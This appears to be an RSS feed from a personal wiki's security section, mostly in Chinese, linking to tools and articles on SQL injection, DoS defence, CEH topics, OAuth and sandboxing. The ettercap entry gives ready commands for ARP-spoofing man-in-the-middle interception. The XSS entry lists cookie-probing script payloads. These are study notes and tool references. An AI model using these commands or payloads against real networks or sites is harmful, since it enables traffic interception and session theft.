Sars' History security https://wiki.sars.tw/ Fri, 08 May 2026 06:29:24 +0800 FeedCreator 1.7.2-ppt DokuWiki https://wiki.sars.tw/lib/tpl/dokuwiki/images/favicon.ico Sars' History https://wiki.sars.tw/ security:all https://wiki.sars.tw/doku.php?id=security:all&rev=1449726996&do=diff Windows * Windows 軟體安全實務 - 緩衝區溢位攻擊 SQL sqlmap <http://sqlmap.sourceforge.net/> sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers. Top 100 Network Security Tools <http://sectools.org/index.html> Amazing XP Tools to Arm your PC from Hackers security Thu, 10 Dec 2015 13:56:36 +0800 security:dos_ddos https://wiki.sars.tw/doku.php?id=security:dos_ddos&rev=1220100682&do=diff SYN Flood 攻擊的基本原理及防禦 <http://www.study-area.org/tips/syn_flood.htm> 作者﹕shotgun DoS与DDos攻击工具基本技术及其发展 <http://security.ccidnet.com/art/1099/20060316/481369_1.html> How to Prevent Denial of Service Attacks <http://learn-networking.com/network-security/how-to-prevent-denial-of-service-attacks> security Sat, 30 Aug 2008 20:51:22 +0800 security:ettercap https://wiki.sars.tw/doku.php?id=security:ettercap&rev=1172583189&do=diff Official <http://ettercap.sourceforge.net/> 其他 <http://cha.homeip.net/blog/archives/2006/05/_vs.html> Text Mode: sudo ettercap -i eth0 -T -M arp:remote /gw.ip.addr/ /target.ip.addr-range/ 按 q 結束程序即自動 stop mitm attack (target hosts 的 arp table 恢復正常) GUI Mode: sudo ettercap -i eth0 -G -n 255.255.255.0 Sniff → Unified sniffing (Shift + U) Hosts → Scan for hosts (Ctrl + S) Targets → Select TARGET(s) (Ctrl + T) Target 1: /gw.ip.addr/ Target 2: /target.ip.addr… security Tue, 27 Feb 2007 21:33:09 +0800 security:hacker https://wiki.sars.tw/doku.php?id=security:hacker&rev=1279002194&do=diff CEH駭客認證 <http://www.eccouncil.org/certification/certified_ethical_hacker.aspx> 考試內容 1: Ethic and Legal Issues 倫理與法律 2: Footprinting 足跡 3: Scanning 網路掃瞄技術 4: Enumeration 列舉 5: System Hacking 電腦系統入侵 6: Trojans and Backdoors 木馬程式與後門程式 7: Sniffers 封包監聽 8: Denial of Service 阻斷服務 9: Social Engineering 社交工程 10:Session Hijacking 連線劫持 11: Hacking Web Servers 網站入侵 12: Web Application Vulnerabilities網站應用程式的弱點 13: Web Based Password Cracking Techniques密碼破解技術 14: SQL Injection 資料隱碼的入侵模式 15: Hacking Wi… security Tue, 13 Jul 2010 14:23:14 +0800 security:hips https://wiki.sars.tw/doku.php?id=security:hips&rev=1188674662&do=diff HIPS <http://gate.tycool.com:82/gate/big5/www.tycool.com/bbs/archive/index.php/t-163397.html> <http://bbs.kafan.cn/forumdisplay.php?fid=39> security Sun, 02 Sep 2007 03:24:22 +0800 security:oauth https://wiki.sars.tw/doku.php?id=security:oauth&rev=1337138067&do=diff OAuth OAuth 的各式參數說明 Framework EasyOAuth <http://easyoauth.codeplex.com/> <http://www.dotblogs.com.tw/regionbbs/archive/2011/09/29/easyoauth.framework.v2.0.announced.aspx> Supports 8 OAuth Providers: * Linked In (OAuth 1.0) * DropBox (OAuth 1.0) * Windows Live (OAuth 2.0) * Plurk (OAuth 1.0) * Twitter (OAuth 1.0) * Google (OAuth 1.0) * Facebook (OAuth 2.0) * Yahoo (OAuth 1.0) security Wed, 16 May 2012 11:14:27 +0800 security:virtual_system https://wiki.sars.tw/doku.php?id=security:virtual_system&rev=1191092264&do=diff Returnil Virtual System <http://www.returnilvirtualsystem.com/index_files/rvspersonal.htm> 教學：<http://jackbin.blogspot.com/2007/09/returnil-virtual-system-personal.html> security Sun, 30 Sep 2007 02:57:44 +0800 security:website https://wiki.sars.tw/doku.php?id=security:website&rev=1192462288&do=diff Wargame sites <http://wargame.cna.ccu.edu.tw/> <http://hackerslab.cna.ccu.edu.tw/> zone-h 列出遭入侵的網站 <http://www.zone-h.org/component/option,com_attacks/Itemid,43/filter,1/filter_domain,.tw/filter_date_select,week> chroot <http://www.chroot.org> HackerWatch <http://www.hackerwatch.org/> 論壇 <http://www.avpclub.ddns.info/> Tools <http://www.xfocus.net/tools/17.html> MD5 Reverse Hashreverse <http://www.hashreverse.com/> IP Address <http://www.ip-adress.com> 透過 Google Map 列出 IP 所在位置… security Mon, 15 Oct 2007 23:31:28 +0800 security:xss https://wiki.sars.tw/doku.php?id=security:xss&rev=1287229999&do=diff Cross Site Scripting Microsoft Anti-Cross Site Scripting Library <http://blog.miniasp.com/post/2009/09/26/Recommand-Microsoft-Anti-XSS-Library-V31.aspx> XSS測試語法大全：<http://anti-hacker.blogspot.com/2007/07/xss.html> Source：<http://www.hackwolf.cn/article.asp?id=83> ><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</scri… security Sat, 16 Oct 2010 19:53:19 +0800